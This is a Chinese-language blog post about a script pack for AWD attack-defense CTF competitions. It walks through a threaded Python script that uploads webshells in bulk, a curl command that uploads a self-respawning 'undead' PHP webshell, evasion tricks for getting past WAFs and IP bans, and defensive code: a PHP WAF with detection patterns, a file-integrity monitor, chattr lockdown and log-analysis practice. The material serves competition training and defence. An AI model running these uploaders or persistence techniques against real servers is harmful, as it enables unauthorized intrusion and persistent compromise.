ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

AWD攻防赛实战脚本:攻击链与防御监控全解析

AWD攻防赛实战脚本:攻击链与防御监控全解析 简介AWD攻防赛是网络安全竞赛中强调实时攻防对抗的模式参赛者需要在保护己方服务的同时攻击对手目标。这套脚本集合即面向此类赛事选手整理了赛场上常用的攻击与防御工具覆盖自动化攻击、Flag获取、Webshell管理、不死马对抗、日志分析与文件监控等典型场景。资源共33个文件以Python脚本为主辅以PHP脚本、pyc编译文件、txt说明文档另含一个日志安全分析工具压缩包整体大小约3.14MB体积精简、即取即用适合作为赛前突击或现场应急参考。当前已有408人学习下载。压缩包内部按attack与defense等模块划分清晰对应攻击链与防守策略既提供上传Shell、批量攻击、命令生成等主动手段也配备修改curl、日志地址、查杀不死马、部署WAF等加固方案能帮助选手快速理解攻防思路并直接复用到实际赛局中。1. AWD攻防赛脚本集合这套资源解决的是比赛里最让人头疼的问题操作链路断在半路——flag 拿到手提交失败、shell 刚上传就被对手删了、服务器被打了半天找不到日志。它把攻击侧的 GetFlag、不死马、批量上传工具和防御侧的 WAF、文件监控、日志分析工具打包在一起适合正在备赛的 CTF 战队也适合刚接触 AWD 模式、想在真实节奏里验证自己工具链的安全选手。它解决的问题很直接把比赛里重复度最高的攻防操作脚本化从手忙脚乱变成改参数就能跑。2. 资源全景Attack 与 Defense 双线目录到底装了什么2.1 Attack 目录从 GetFlag 到不死马的完整攻击链7z 压缩包解压后整体布局不复杂attack_python 是攻击侧脚本合集Defense 是防守侧脚本合集根目录还放了一个独立的 Web日志安全分析工具 v2.0 压缩包。三部分互不依赖可以单独使用但真正在 AWD 比赛里它们是一个完整闭环——攻击侧拿分防御侧守分日志工具负责赛后复盘。attack_python 目录下的文件按功能可以分成三组。第一组是 flag 获取链路GetFlag.py 负责通过已控的 webshell 执行读取 flag 的命令并批量收集Flag.txt 是记录 flag 的临时文件webshell.txt、shell.php、shell1.php 是不同形态的 shell 文件shell.php 是基础款shell1.php 通常是做过混淆的版本用于绕过简单查杀。第二组是上传与指挥工具。awd_attack.py 是整个攻击链的主控脚本负责按 IP 列表批量发起攻击动作upload_shell.py 专门负责把 shell 文件上传到目标。ListCreate.php 这个文件名有迷惑性本质上是配合批量上传生成存活目标清单的脚本常见做法是让它输出目标 URL 列表喂给 awd_attack.py 做循环。cmd.exe 和 plugin 是 Windows 场景下的备用文件AWD 偶尔会遇到 Windows 靶机cmd.exe 的命名本身就是混淆策略之一。目录下还有一个无扩展名的 Attack 文件常见是 bash 脚本或 ELF 入口用于自动串联整条攻击链路。第三组是不死马系列包含隐藏不死马测试版.php、不死马.php、命令生成不死马_批量版.py、命令生成不死马.txt。这一组解决的是shell 被删之后怎么持续拿权限的问题。不死马的核心思路是让一段代码在服务端常驻执行每几秒把 webshell 文件重新写出来删了又生。批量版脚本就是一次性给多个目标部署这个机制。2.2 Defense 目录日志、文件监控与 WAF 的防守阵型Defense 目录的定位是守住自己这一分。AWD 里进攻拿分只是其一防守扣分同样致命每一台被打穿的机器都是送给对手的分。linux文件监控脚本.py 监听 web 目录的增删改一旦发现陌生 php 文件就会输出告警waf.php 是一个轻量级 PHP 流量过滤器通过 auto_prepend_file 或 .htaccess 在所有 PHP 请求前执行拦截常见的注入和 webshell 访问特征。修改curl.txt 和日志地址.txt 两个文档看起来不起眼实际是两个经验包。修改curl.txt 记录的是用 curl 调试时应该怎么改参数——带 cookie、伪装 UA、跟随重定向这些在手工验证 shell 是否存活时很有用日志地址.txt 列出的是 nginx、apache、容器环境里日志的默认路径和处理方式避免比赛时临时翻找日志目录浪费时间。克制不死马.txt 是防守端针对前列不死马组的专杀笔记。Web日志安全分析工具v2.0.rar 是独立的日志分析工具解压后可在本机运行赛后自查日志里的攻击痕迹。整套资源的关系用一张表能看更清楚目录文件定位attack_pythonawd_attack.py批量攻击主控attack_pythonGetFlag.py / Flag.txtflag 获取记录attack_pythonupload_shell.pywebshell 上传attack_pythonshell.php / shell1.php / webshell.txt不同形态 shellattack_python不死马.php / 隐藏不死马测试版.php持久化 webshellattack_python命令生成不死马_批量版.py批量部署不死马attack_pythonListCreate.php目标清单生成attack_pythontips.txt攻击技巧备注Defensewaf.phpPHP 流量过滤Defenselinux文件监控脚本.py文件增删改监控Defense克制不死马.txt不死马清理方案Defense日志地址.txt / 修改curl.txt经验文档根目录Web日志安全分析工具v2.0.rar日志分析工具3. 攻击侧实操awd_attack.py 与上传挂马的联动套路3.1 awd_attack.py 的工作逻辑与参数调整先看主控脚本。awd_attack.py 的逻辑不复杂本质是一个循环器读入目标 URL 清单逐个发起攻击请求把上传成功的 shell 地址记录到存活清单最后交给 GetFlag.py 去取 flag。常见做法是设计成下面这样import requests import threading targets [] # 从 list.txt 读入目标每行一个 http://ip:port with open(list.txt, r) as f: targets [line.strip() for line in f if line.strip()] def attack(url): try: # 读取本地 shell 文件作为 payload with open(shell.php, r, encodingutf-8) as f: payload f.read() files {file: (shell.php, payload, application/x-php)} resp requests.post(url /upload.php, filesfiles, timeout5) if resp.status_code 200 and success in resp.text.lower(): print([] OK:, url) else: print([-] FAIL:, url) except Exception as e: print([-] ERR:, url, str(e)) threads [] for u in targets: # 每个目标起一个线程并发执行 t threading.Thread(targetattack, args(u,)) t.start() threads.append(t) for t in threads: t.join()这段代码的逻辑是从 list.txt 读取目标地址每个目标起一个线程把本地 shell.php 当普通文件上传到对方 /upload.php按返回内容判断是否成功。逻辑本身没有技术难度真正的差异在参数调整上。我一般会改三个地方。一是 timeoutAWD 现场网络波动大timeout 设 3 秒容易把正常目标误判为失败设 10 秒又会让整个循环变慢5 秒是我的习惯值。二是线程数脚本里直接起线程的写法不限制并发目标多时会一下开上百个线程建议引入信号量把并发锁在 20 以内不然本机先被自己的请求打满import threading sem threading.Semaphore(20) # 限制并发数 def attack(url): with sem: # 原有攻击逻辑 pass三是上传字段名不同靶机的上传接口接收的文件字段不一样常见有 file、fileToUpload、upfile。比赛前用少量目标试一遍确认字段名后再全量跑不然可能全程都在对空接口上传。3.2 upload_shell.py 与 ListCreate.php 的配合upload_shell.py 是单独的上传工具它和 awd_attack.py 的分工是主控脚本负责批量跑这个脚本负责精细跑。常见场景是主控跑完后有几台目标上传失败需要手工重放。upload_shell.py 一般支持指定单目标、自定义协议还会打印完整响应头和响应体方便排查是被 WAF 拦了还是接口路径不对。ListCreate.php 值得多说一句。乍看是个 PHP 文件实际上是攻击前的侦察清单生成脚本。它运行在攻击机上通过探测目标的常见端口和服务指纹返回一组带路径的完整 URL 清单。比如确认目标 80 端口开放后生成 http://ip:port 的完整列表awd_attack.py 就不需要自己拼 URL 格式。我实际用过的流程是这样的# 先用 ListCreate.php 生成目标清单 php ListCreate.php -f ip_list.txt -o list.txt # 再交给 awd_attack.py 批量上传 python3 awd_attack.py -i list.txt -p shell.php这里的 -f 是输入 IP 文件-o 是输出清单-p 指定 payload。生成清单后打开 list.txt 检查一遍确认 URL 协议和端口都正确。AWD 里最常见的翻车是 IP 清单里混入自己的靶机地址批量上传时把自己打穿了。所以 ListCreate.php 生成完清单后先 grep 一遍排除本机网段再进循环grep -v 本机IP list.txt temp mv temp list.txt3.3 隐藏不死马测试版与普通不死马的区别不死马是 AWD 攻击侧的常客这个资源里给了两个版本。普通的不死马.php 是最原始形态上传后立即运行代码里用 ignore_user_abort 和 set_time_limit 让进程脱离请求生命周期死循环里不断 file_put_contents 生成 shell 文件同时把自身路径 unlink 掉让管理员在磁盘上看不到原始文件。隐藏不死马测试版.php 是改良版差异在两点。第一文件生成位置更刁钻不再固定写在 web 根目录而是写成图片马或写到缓存目录再加 include 引用第二生成的 shell 内容做了编码字符串拼接、base64 解码、可变函数调用等形式组合让 waf.php 和查杀脚本都不容易通过特征匹配命中。不建议在正式比赛里直接跑原版不死马原因在避坑章节展开。这里给一个判断版本的方式打开不死马.php 看循环体如果看到 sleep(5) 或 usleep 这类写入后休眠的代码就是带了频率控制的版本相对安全如果循环里没有任何 sleep一秒钟写几十次文件那基本是拿来坑队友的版本谁用谁先崩。命令生成不死马_批量版.py 的作用是把不死马部署脚本化。它接受目标 IP 列表和上传方式参数自动把不死马以指定文件名上传到多个目标并触发执行。命令生成不死马.txt 是配套的命令参考记录的是 curl 上传和触发格式。我在比赛里更常用 curl 先手工验证一台确认能通再批量curl -s -X POST http://目标/upload.php \ -F file不死马.php \ -F filenameinfo.php \ -o /dev/null -w %{http_code}这条命令的关键是 -F 用文件字段模拟表单上传-o 丢弃响应体避免终端刷屏-w 只打印状态码。200 或 302 都算成功403 基本是撞了 WAF。4. 防御侧落地waf.php 与文件监控脚本的部署姿势4.1 waf.php 的放置位置与规则调整waf.php 是一个纯 PHP 的流量过滤脚本思路是在所有 PHP 请求执行前先跑一段过滤代码。部署方式有两种常见路线一是改 php.ini 里的 auto_prepend_file 指向 waf.php二是用 .htaccess 的 php_value auto_prepend_file。第一种全局生效第二种只作用于当前目录。AWD 环境下你能控制的一般只有网站目录所以 .htaccess 路线更常用。waf.php 的过滤规则不能直接拿来就用我一般会先改成这样?php // 轻量 WAF 过滤规则按需增删 $rules [ /union\sselect/i, /information_schema/i, /base64_decode/i, /eval\s*\(/i, /system\s*\(/i, /assert\s*\(/i, /\?php/i, ]; foreach ($rules as $pattern) { if (preg_match($pattern, $_SERVER[REQUEST_URI])) { http_response_code(403); die(forbidden); } } // 记录被拦截的请求写到独立日志 file_put_contents(/tmp/waf_log.txt, date(Y-m-d H:i:s) . . $_SERVER[REMOTE_ADDR] . . $_SERVER[REQUEST_URI] . \n, FILE_APPEND);这段代码的逻辑是把规则放在数组里循环匹配 REQUEST_URI命中就返回 403同时把拦截记录写到 /tmp/waf_log.txt。第一版先用这套跑十分钟再看日志调规则。参数调整上容易被忽略的是把 POST 参数也纳入检查。只查 REQUEST_URI 对 query string 有效但请求体里的 payload 会漏过去。我会把 $_POST 串进检查但注意不要用 $_REQUEST因为它默认包含 GET/POST/Cookie会导致误杀。规则本身不要太贪心/?php/i 这条会把正常的 XML、模板请求一起 403。原版 waf.php 如果规则全量加载第一件事是把明显误杀的规则去掉否则比赛还没开始己方站点先崩一半。4.2 linux文件监控脚本.py 的 crontab 接入文件监控脚本的原理是扫描 web 目录下所有 PHP 文件记录文件名、大小、修改时间间隔一段时间再扫一次发现差异就输出告警。常见实现是维护一个哈希快照import os import hashlib web_root /var/www/html snapshot_file /tmp/web_files.snapshot def build_snapshot(): snapshot {} for root, dirs, files in os.walk(web_root): for name in files: path os.path.join(root, name) try: with open(path, rb) as f: digest hashlib.md5(f.read()).hexdigest() snapshot[path] digest except Exception: pass return snapshot def load_snapshot(): snap {} if os.path.exists(snapshot_file): with open(snapshot_file, r) as f: for line in f: p, d line.strip().split(|) snap[p] d return snap current build_snapshot() old load_snapshot() for path in current: if path not in old: print([ALERT] new file:, path) elif current[path] ! old[path]: print([ALERT] modified:, path) for path in old: if path not in current: print([ALERT] deleted:, path) with open(snapshot_file, w) as f: for path, d in current.items(): f.write(f{path}|{d}\n)这段代码分三步build_snapshot 遍历目录算每个文件的 MD5old 从上次快照文件读历史状态最后比对把新增、修改、删除分别输出告警。快照文件写回 /tmp比赛时记得改成非 web 可访问目录不然快照本身会被下载。部署上我习惯用 crontab 每 30 秒跑一次但 crontab 最小粒度是 1 分钟所以要让脚本内部循环等待或接受外部参数*/1 * * * * cd /root/defense python3 linux文件监控脚本.py /tmp/watcher.log 21注意告警输出要重定向到 /tmp/watcher.log比赛时用 tail -f 实时盯。如果担心 crontab 被对手重置可以写 systemd service 常驻比 crontab 稳但部署时间也长。我的取舍是开局前 10 分钟用 crontab 快速上中盘再补 systemd。4.3 克制不死马.txt 里的清理思路克制不死马.txt 是防守端最该先读的文档。不死马的难点不在删文件而在于删掉之后它还会写回来所以清理思路必须是先杀进程再删文件最后补位三步走。第一步杀进程。找 php-fpm 或 apache 的 worker 进程里谁在持续执行不死马代码常见做法是看 CPU 占用不死马循环里没有 sleep 的话 CPU 会持续飘高。找到进程后 kill 掉注意 php-fpm 会拉起新 worker正确做法是 kill 之后马上做第二步。第二步删文件。把不死马生成的所有 shell 文件找出来删掉用前面文件监控脚本的快照就能定位新增文件。删完立刻用 chattr 锁住关键路径让对手无法再写chattr i /var/www/html/shell.php chattr R i /var/www/html/uploads第三步补位把 waf.php 的规则加上不死马特征。这里有个细节不死马通常用 base64 解码字符串来生成文件名waf 规则里直接查执行函数名比查文件名更有效比如拦截 assert、preg_replace 配合 /e 修饰符这类老式代码执行特征。克制不死马.txt 里如果没有写 chattr 这步大概率会陷入删了又出出了又删的死循环。chattr i 之后文件连 root 都不能改对手的不死马再执行 file_put_contents 会直接报 Permission denied这比 chmod 555 可靠得多。5. AWD 实战避坑脚本翻车的 5 个典型现场5.1 不死马把自己服务器打崩现象上传不死马后本机 CPU 直接拉满网站访问变慢SSH 连不上。排查时看到 php-fpm 进程占满 CPUkill 掉又立刻有新进程起来。原因不死马循环里没有 sleep每轮都做 file_put_contents 和 unlinkCPU 和磁盘 IO 被耗尽。很多新手为了让不死马更强把循环写成无间隔直跑结果先死在资源上。解决先在本地虚拟机验证原版不死马的资源占用观察 CPU 是否异常给不死马循环体加 usleep(500000) 限速再考虑批量部署。从那以后我每次上传不死马前强制先看一遍循环体里有没有 sleep没有的一律改完再跑。5.2 waf.php 拦截了自己网站的正常请求现象部署 waf.php 后网站图片加载失败登录接口 403业务先崩了。打开 waf_log.txt 发现大量正常请求被拦。原因规则里的 /?php/i 把正常包含 PHP 标签的模板文件也拦了或者 base64_decode 误杀了业务里的正常编码参数。比赛环境下业务逻辑本就脆弱误杀比漏杀更致命。解决先跑白名单模式把拦截改成记录观察一小时日志把所有误杀的请求特征从规则里摘掉再切换拦截模式。规则宁可少而准不要多而滥。5.3 python 脚本跑起来直接报模块不存在现象python3 awd_attack.py 执行后报 ModuleNotFoundError: No module named requests。另一个常见情况是 python2 运行时语法报错。原因攻击机环境太干净requests 库没装或者系统默认 python 指向 python2而脚本里用了 f-string 语法必然挂。解决开局统一建虚拟环境一次性装好依赖python3 -m venv /root/awd_env source /root/awd_env/bin/activate pip3 install requests以后所有脚本都在这个环境里跑不要在全局环境里裸奔。5.4 日志地址不对监控脚本白跑现象文件监控脚本和日志分析工具都配好了但什么告警都没有以为很安全赛后复盘发现服务器早就被打穿了。原因日志地址.txt 记录的路径是常见默认值但比赛环境把日志写到了别的位置监控脚本盯着一扇不存在的门。解决先全局搜一遍真实日志路径find / -name access.log -type f 2/dev/null find / -name *.log -type f 2/dev/null | grep -E nginx|apache找到真实路径后再修改脚本指向。AWD 环境里不要相信默认配置一切以实际路径为准。5.5 批量上传撞上对手 WAFIP 被封现象awd_attack.py 跑到一半目标开始拒绝连接连手工操作也进不去自己的攻击机被对方封了。原因上传频率太高对手的 waf.php 或云防护按 IP 做了封禁。批量脚本默认不会控制频率几个线程跑起来就成了 DDoS。解决把线程数降下来给每个请求加随机 UA 和随机延迟并在 header 里带上 Cache-Control 规避缓存。import time import random headers { User-Agent: Mozilla/5.0, Cache-Control: no-cache, } time.sleep(random.uniform(0.5, 1.5)) # 随机延迟同时准备备用攻击机主 IP 被封后切到备用机继续不要恋战。6. 进阶技巧把 Web日志安全分析工具 v2.0 变成赛后复盘武器AWD 比赛结束后大多数人直接交 flag 走人但真正有效的技能提升来自复盘。Web日志安全分析工具 v2.0 在这个环节的价值比比赛中还大它能帮你从日志里还原自己的漏洞是怎么被打穿的、对手的利用路径是什么。我用它的习惯分三步。第一步比赛结束后立刻把服务器上的 nginx/apache access.log 和 error.log 全部打包回本地不要在还在跑战的机器上做分析。第二步导入工具后先按 IP 维度排序找出所有非本队 IP 的访问记录这是攻击者的入口。第三步把可疑 IP 的请求序列翻出来看它访问了什么路径、上传了什么文件、请求里带了什么参数按 URL 分组统计。以日志分析工具的常规功能为例重点看这几个指标观察点看什么判断依据高频 IP同一 IP 的请求总量单 IP 短时间大量请求大概率是扫描或批量攻击异常路径/upload.php /shell.php 等正常业务不会访问的路径出现即可疑请求参数eval/system/base64 等关键词携带这些参数基本可判定为攻击 payload状态码分布403/500 比例异常大比例 403 说明 WAF 在拦截攻击日志分析工具打开后如果它支持正则过滤直接搜\b(eval|assert|base64_decode|file_put_contents)\b能把大半攻击 payload 捞出来。我在一次赛后复盘里就是通过日志里一条 upload.php 的 POST 请求看到对手上传的文件名是自己内网机器名顺着这条线索定位到他是从内网横向进来的这比比赛中发现漏洞更能暴露防守盲区。复盘结论要写回克制不死马.txt 和日志地址.txt 两个文档——哪个路径被利用了、哪个日志目录之前没盯住、waf 规则缺了哪条全部记录在案。从那以后我每次 AWD 结束都强制走一遍打包日志 → IP 分析 → payload 特征提取 → 更新防御笔记的流程整套脚本的价值有一半其实是赛后这次复盘给补上的。希望这份笔记能帮你在下一次 AWD 里少踩几个坑把工具链真正跑顺。本文还有配套的精品资源点击获取
返回列表